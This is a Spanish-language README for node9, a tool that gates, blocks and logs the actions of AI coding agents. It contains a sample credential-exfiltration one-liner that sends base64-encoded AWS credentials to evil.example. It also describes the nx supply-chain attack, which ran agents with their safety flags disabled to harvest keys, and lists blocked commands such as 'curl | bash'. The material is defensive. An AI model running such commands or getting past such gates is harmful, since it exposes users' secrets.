Control de acceso para agentes de IA. Define qué pueden hacer Claude Code, Codex, Gemini, Cursor y cualquier servidor MCP, revisa las acciones de riesgo antes de que se ejecuten y mantén cada acción registrada.
<h1 align="center">🛡️ node9</h1> <p align="center">Control de acceso para agentes de IA</p> <p align="center"><strong>Tus agentes de IA pueden acceder a Slack, GitHub, el correo electrónico y tu base de datos.<br />node9 decide qué pueden hacer con cada uno.</strong></p> <p align="center"> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a> <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a> <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a> <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a> <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a> <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a> <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a> </p> **Jail de credenciales** · **secretos y PII** · **git, SQL y shell destructivos retenidos para revisión** · **fijación de herramientas MCP** · **lista de permitidos de egreso de red** · **cortador de bucles** · **un único registro en doce agentes** Funciona con **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · cualquier servidor MCP**. ## Cómo se ve Una sesión real de Claude Code con node9 instalado. Cada llamada a herramienta se verifica antes de ejecutarse. Construir una página y editar un botón se ejecutan. Una solicitud a la dirección de metadatos de la nube se bloquea, y el agente recibe el motivo y continúa. Eliminar archivos espera tu aprobación, directamente en el chat. <p align="center"> <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="node9 in a Claude Code session: two calls allowed, one blocked, one held for approval" /> </p> ## Instalación ```bash brew tap node9-ai/node9 && brew install node9 # macOS / Linux npm install -g node9-ai # any platform ``` Luego, en cualquier proyecto: ```bash node9 # first run: choose dashboard connection or local protection node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard ``` Requiere Node.js 22+. En un terminal interactivo nuevo, `node9` te guía a través de la configuración. La protección local no necesita cuenta. La lista de verificación muestra los escudos recomendados, DLP/PII, la revisión opcional de egreso de red y el servicio en segundo plano. Las estadísticas de uso se envían solo si aceptas el aviso por separado. El resumen lista los agentes configurados y cualquier paso de configuración que requiera atención. Ejecuta `node9 setup` para revisar la configuración, o `node9 setup <target>` para configurar un agente. Una vez configurado, `node9` a secas muestra la ayuda. `node9 init` sigue disponible; para scripts usa `node9 init --recommended` (sin preguntas y sin adhesión a telemetría). `--skip-setup` deja intactos el cableado de agentes y la instalación del servicio. Un `--mode` explícito tiene precedencia sobre la recomendación de modo estándar de la lista de verificación. La configuración existente se conserva a menos que los cambios seleccionados o los flags explícitos soliciten una actualización. La política del espacio de trabajo se gestiona en el panel; la configuración del servicio permanece local. **`login` no añade nada a la aplicación de políticas.** Conecta la máquina a un espacio de trabajo para que un equipo pueda ver un único registro en los portátiles y el CI de todos, establecer políticas de forma centralizada y aprobar acciones retenidas desde un panel o Slack. Omítelo y node9 funciona exactamente igual, solo, sin conexión. `node9 logout` desconecta de nuevo y la aplicación local sigue ejecutándose. ### Uso como servidor MCP node9 también se ejecuta como servidor MCP, de modo que un agente puede leer su estado, postura, registro de auditoría y política, y explicar cualquier decisión, desde dentro de la conversación: ```bash claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server ``` Cualquier cliente MCP funciona igual: el comando es `npx -y node9-ai mcp-server` sobre stdio, sin clave de API. Está listado en el Registro MCP oficial como `io.github.node9-ai/node9`. ## El problema En agosto de 2025, versiones comprometidas de la [herramienta de compilación `nx`](https://github.com/advisories/GHSA-cxm3-wv7p-598c) distribuyeron un script post-instalación que buscaba agentes de codificación con IA ya instalados en la máquina del desarrollador, y luego los ejecutaba con sus propios flags de seguridad desactivados (`--dangerously-skip-permissions`, `--yolo`, `--trust-all-tools`) para enumerar claves SSH, credenciales de la nube y archivos de carteras y escribir la lista en disco. El script envió los resultados a repositorios públicos dentro de las propias cuentas de GitHub de las víctimas. Se filtraron más de mil tokens de GitHub válidos, junto con credenciales de la nube, tokens de npm y aproximadamente 20.000 archivos, desde máquinas donde el agente estaba haciendo exactamente lo que se le indicaba. El agente no era el atacante. El agente era la herramienta, y nada se interponía entre él y los archivos. La puerta de node9 no es uno de esos flags: se ejecuta en el hook, y una acción que retiene permanece retenida incluso cuando el agente se inició con los permisos omitidos. ## Qué hace node9 al respecto node9 se sitúa entre el agente y cada herramienta que llama. El jail de credenciales (`~/.ssh`, `~/.aws`, archivos `.env`, claves privadas) está activado por defecto, y una lectura de una de esas rutas no se ejecuta. El agente se detiene, se le explica por qué, y la decisión llega a ti: ```text NODE9: Action blocked by security policy. INSTRUCTIONS: - Do NOT retry this exact command or attempt to bypass the rule. - Pivot to a non-destructive or read-only alternative. - Inform the user which security rule was triggered and ask how to proceed. ``` El comando se analiza como un AST de shell, no se compara como texto, así que envolver la lectura no ayuda. `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` se juzga como una lectura de `~/.aws/credentials`, no como un `echo`. node9 es una **puerta**. Una acción retenida no se ejecuta mientras te espera, y si nunca respondes permanece bloqueada. Todo lo demás se permite y se escribe en el registro. **Lo que no hace:** con el control de egreso desactivado, que es lo predeterminado, un comando que entrega un archivo directamente a la red, como `curl -d @~/.aws/credentials`, no se trata como una lectura de ese archivo. `node9 egress protect` también controla los destinos, y cubre solo comandos de shell. ## Verifícalo tú mismo Nada de lo siguiente necesita una cuenta, y nada se sube. ```bash npx node9-ai scan # every past agent session on this machine npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed ``` <p align="center"> node9 scan scorecard </p> ## Qué gobierna Cada línea es una capacidad, con la página que la documenta. La documentación es la referencia; este archivo es el mapa. | | | | | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | | **Jail de credenciales** | `~/.ssh`, `~/.aws`, `.env` y claves privadas están bloqueados para todas las herramientas, no solo el shell | [docs](https://node9.ai/docs/shields) | | **Reglas siempre activas** | git destructivo, SQL sin un `WHERE`, `curl \| bash` y `sudo` no autorizado, sin configuración | [docs](https://node9.ai/docs/smart-rules) | | **Secretos y PII** | claves de AWS, tokens de GitHub y Stripe, claves PEM y formas de tarjetas o SSN, en cualquier argumento de herramienta, más un escaneo en segundo plano de lo que el agente escribió de vuelta | [docs](https://node9.ai/docs/dlp) | | **Escudos por servicio** | paquetes de reglas seleccionados para Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub y el sistema de archivos | [docs](https://node9.ai/docs/shields) | | **Revisión en línea** | una acción retenida te pregunta dentro de la conversación del agente, o a través de un aprobador del equipo | [docs](https://node9.ai/docs/cloud-policy) | | **Lista de permitidos de egreso** | controla dónde puede enviar datos un comando de shell, desactivado por defecto | [docs](https://node9.ai/docs/egress) | | **Puerta de enlace MCP** | envuelve cualquier servidor MCP, autoriza cada herramienta y fija las definiciones de herramientas para que un servidor no pueda cambiarlas a tus espaldas | [docs](https://node9.ai/docs/mcp-gateway) | | **Sandbox** | ejecuta un agente en un contenedor con una lista de permitidos de egreso a nivel de kernel y montajes con alcance limitado | [docs](https://node9.ai/docs/sandbox) | | **Puntuación de postura** | cuán expuesta está esta máquina, con el comando que corrige cada hallazgo | [docs](https://node9.ai/docs/posture) | | **Escaneo de repositorios** | encuentra flujos de trabajo donde un externo podría secuestrar un agente que tiene tus secretos, en CI o desde la CLI | [docs](https://node9.ai/docs/repo-scanning) | | **Historial de sesiones** | lee lo que cada agente ya hizo en esta máquina, antes de que node9 estuviera instalado | [docs](https://node9.ai/docs/sessions) | | **Monitor en vivo e informe** | un panel de terminal, y un resumen por ventanas de coste, herramientas, bloqueos y radio de impacto | [docs](https://node9.ai/docs/report) | | **Fijación de skills** | verificación SHA-256 de las skills y plugins de Claude instalados entre sesiones | [docs](https://node9.ai/docs/skill-pinning) | | **Credenciales canario** | claves falsas plantadas que demuestran que ocurrió un intento de exfiltración | [docs](https://node9.ai/docs/canary-credentials) | | **SDK de Python** | gobierna cualquier agente de Python, no solo las CLI | [docs](https://node9.ai/docs/python-sdk) | Referencia completa de CLI y configuración: **[node9.ai/docs](https://node9.ai/docs)**. Cómo encajan las capas: **[cómo funciona](https://node9.ai/docs/how-it-works)**. ## Aprende Lecturas de contexto, escritas para ser autónomas. Cada página dice lo que node9 no cubre. - **[¿Qué puede hacer un agente secuestrado?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: el radio de impacto de una sesión comprometida - **[Cómo filtra un secreto un agente de IA](https://node9.ai/learn/ai-agent-secret-exfiltration)**: las rutas por las que una credencial realmente sale - **[Seguridad de Claude Code](https://node9.ai/learn/claude-code-security)**: hooks, modos de permisos y lo que no detienen - **[Seguridad de MCP](https://node9.ai/learn/mcp-security)**: la superficie de herramientas que abre un servidor MCP - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: la lista, mapeada a controles reales ## Comparativa - **[node9 frente a las alternativas](https://node9.ai/compare)**: una matriz, incluidas las filas donde node9 puntúa peor - **[Cobertura por agente](https://node9.ai/agents)**: qué se gobierna en cada uno de los doce agentes compatibles ## Proyectos relacionados - **[node9-python](https://github.com/node9-ai/node9-python)**: SDK de Python - **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: la GitHub Action, `uses: node9-ai/node9-proxy@v2`, controla cada PR con el mismo motor ## Empresa **node9 Pro** añade bloqueo de gobernanza, SAML/SSO, exportación central de auditoría y despliegue en VPC. Consulta [node9.ai](https://node9.ai). ## Licencia Apache-2.0 <p align="center"> <sub>Construido con ☕ y sana paranoia.</sub> </p>